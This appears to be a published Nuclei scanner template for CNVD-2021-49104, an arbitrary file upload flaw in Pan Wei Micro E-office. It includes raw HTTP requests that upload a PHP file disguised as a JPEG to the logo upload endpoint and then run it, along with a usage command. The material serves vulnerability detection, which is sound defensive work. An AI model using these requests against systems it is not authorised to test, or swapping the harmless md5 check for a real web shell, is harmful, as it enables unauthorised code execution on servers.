Pan Micro E-office File Uploads

ID: CNVD-2021-49104

Severity: critical

Author: pikpikcu

Tags: cnvd2021,cnvd,pan,micro,fileupload,intrusive

Description

The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker.

YAML Source

id: CNVD-2021-49104

info:
  name: Pan Micro E-office File Uploads
  author: pikpikcu
  severity: critical
  description: The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker.
  remediation: Pan Wei has released an update to resolve this vulnerability.
  reference:
    - https://chowdera.com/2021/12/202112200602130067.html
    - http://v10.e-office.cn
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 9.9
    cwe-id: CWE-434
  metadata:
    max-request: 2
  tags: cnvd2021,cnvd,pan,micro,fileupload,intrusive

variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

        --e64bdf16c554bbc109cecef6451c26a4
        Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.php"
        Content-Type: image/jpeg

        <?php echo md5("{{string}}");?>

        --e64bdf16c554bbc109cecef6451c26a4--
      - |
        GET /images/logo/logo-eoffice.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'
      - type: word
        part: body
        words:
          - "94d01a2324ce38a2e29a629c54190f67"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204948c93948a6d106c95292774d4b413e02a0956e81c9a25c51f222944a80616c022100f9a5913250d313e6741a5b22cb12a2403155ffa693d215a0c1608bf9f79077b4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cnvd/2021/CNVD-2021-49104.yaml"

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